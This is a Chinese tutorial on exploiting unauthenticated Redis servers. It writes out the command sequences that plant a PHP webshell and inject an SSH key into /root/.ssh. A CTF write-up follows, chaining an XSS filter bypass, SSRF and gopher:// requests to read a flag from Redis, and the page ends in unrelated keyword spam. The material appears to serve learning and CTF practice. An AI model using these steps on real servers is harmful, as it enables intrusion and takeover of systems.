千家信息网

redis未授权访问的方法

发表于:2024-11-18 作者:千家信息网编辑
千家信息网最后更新 2024年11月18日,这篇文章主要为大家详细介绍了redis未授权访问的方法,图文详解容易学习,配合代码阅读理解效果更佳,非常适合初学者入门,感兴趣的小伙伴们可以参考一下。redis是一种以key-value为键值对的非关
千家信息网最后更新 2024年11月18日redis未授权访问的方法

这篇文章主要为大家详细介绍了redis未授权访问的方法,图文详解容易学习,配合代码阅读理解效果更佳,非常适合初学者入门,感兴趣的小伙伴们可以参考一下。

redis是一种以key-value为键值对的非关系型数据库。

redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Map), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

安装服务

win

下载地址:https://github.com/MSOpenTech/redis/releases
测试环境:

操作系统:win7
ip:192.168.107.144

命令行输入

redis-server.exe redis.conf

接着查看端口

6379端口(redis默认端口)已经打开

redis成功启动

ubuntu

安装

sudo apt-get updatesudo apt-get install redis-server

启动服务

redis-server

基本命令

连接redis

redis-cli.exe -h 192.168.107.144

查看键为x的值

redis 192.168.107.144:6379> get x""

get所有key

redis 192.168.107.144:6379> keys *1) "x"

删除所有键

redis 192.168.107.144:6379>flushall

漏洞利用

本机通过telnet命令主动去连接目标机

或者通过redis-cli.exe -h 192.168.107.144连接

连接成功

输入info获取相关信息

可以看到redis版本号等

利用方式

  • 写入一句话webshell

  • 写入ssh公钥

写入shell

//设置x的值redis 192.168.107.144:6379> set x ""  redis 192.168.107.144:6379> config set dbfilename test.phpredis 192.168.107.144:6379> config set dir D:/WWW/PHPTutorial/WWWredis 192.168.107.144:6379> save

成功写入目标机

写入ssh公钥

在本地生成一对密钥

root@ip-172-31-14-115:~/.ssh# ssh-keygen -t rsa

接着将ssh公钥写入靶机

root@ip-172-31-14-115:/etc/redis# redis-cli -h 192.168.107.144192.168.107.144:6379> config set dir /root/.ssh                   # 设置本地存储文件目录192.168.107.144:6379> config set dbfilename pub_keys        # 设置本地存储文件名192.168.107.144:6379> set x "xxxx"  # 将你的ssh公钥写入x键里。(xxxx即你自己生成的ssh公钥)192.168.107.144:6379> save     # 保存

再到本地去连接ssh

root@ip-172-31-14-115:~/.ssh# ssh -i id_rsa root@192.168.107.144

即可

CTF中的redis(XSS->SSRF&Gopher->Redis)

题目为

题目地址:https://hackme.inndy.tw/scoreboard/

xeeme

泄露

在robots.txt发现泄露源码

是加密了的config.php

xss打cookie

注册登陆后的界面

发邮件有验证

验证写个脚本即可

".md5($captcha);?>

然后过滤了一些东西

用img测试

onload也过滤了

这里注意到一个细节,过滤的是空格加上onerror,猜想是匹配到有空格的onerror才会过滤,于是构造没有空格的onerror,尝试payload

然后打cookie,成功打到cookie

将SESSION解码

PHPSESSID=rmibdo13ohquscgsuphitr9cp4; FLAG_XSSME=FLAG{Sometimes, XSS can be critical vulnerability }; FLAG_2=IN_THE_REDIS

xssrf leak

根据上一题的cookie,FLAG_2=IN_THE_REDIS

还是一样的环境

因为拿到了管理员的cookie,于是登陆一下

需要本地登陆,尝试一下伪造xff头

换了几个ip头都没用

于是想到之前做的题,可以直接去打管理员页面的源码

这里 不知道为什么 xss平台接收不到,于是换了一个平台

利用payload

发现innerhtml被过滤

于是html编码

发现收到请求

解个码,放在本地

SSRF读取config.php

猜测send request功能存在ssrf

vps收到请求

解码:

...      

post请求的url参数

尝试读文件

成功读到/etc/passwd

于是读之前的config.php

xssrf redis(ssrf+gopher拿下flag)

根据flag的提示,redis的端口是25566
请求redis配合gopher

成功获取info

查看一下keys

xmlhttp.send("url=gopher://127.0.0.1:25566/_key%2520*");

去读

既然有flag键,那么直接去读flag的值

xmlhttp.send("url=gopher://127.0.0.1:25566/_get%2520flag");

类型不符合

于是查看类型

xmlhttp.send("url=gopher://127.0.0.1:25566/_type%2520flag");

是list,返回列表长度

xmlhttp.send("url=gopher://127.0.0.1:25566/_LLEN%2520flag");

那么获取所有元素

xmlhttp.send("url=gopher://127.0.0.1:25566/_LRANGE%2520flag%25200%252053");

于是写个脚本

flag="""}tiolpxeotysaesinoitacitnehtuatuohtiwsideR{GALF"""result = flag[::-1]print(result)

最后flag FLAG{Redis without authentication is easy to exploit}

关于redis未授权访问的方法就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果喜欢这篇文章,不如把它分享出去让更多的人看到。

成功 公钥 端口 命令 数据 文件 类型 尝试 服务 登陆 方法 地址 平台 数据库 更多 源码 环境 目标 空格 管理员 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 网络安全事故主要表现 数据库5种约束类型 网络安全五个一批次 网络数据库引用 邮政的软件开发是多少级工资 大学生网络安全考题 交通传感器网络技术的原理 数据库 属性大小写 朝阳区咨询软件开发概况 系统显示服务器内存已满 数据库与表的关系 软件开发咨询招标 学生网络安全漫画怎么制作 怎么利用cfps数据库 steam上的编程游戏数据库 中国太保网络安全知识 湖北工业软件开发制造价格 耐克app解析服务器响应时发生错误 金山区营销软件开发要多少钱 手机上网连接不上服务器怎么回事 维修资料数据库机械参数 辽宁信息化软件开发服务五星服务 10060数据库 触摸屏作为客户端远传数据服务器 网络安全技术课程的总结 山东省专科计算机网络技术专业 网络安全法网络体系逐渐完善 怎样连接服务器共享文件 如何安装project服务器 服务器和操作系统
0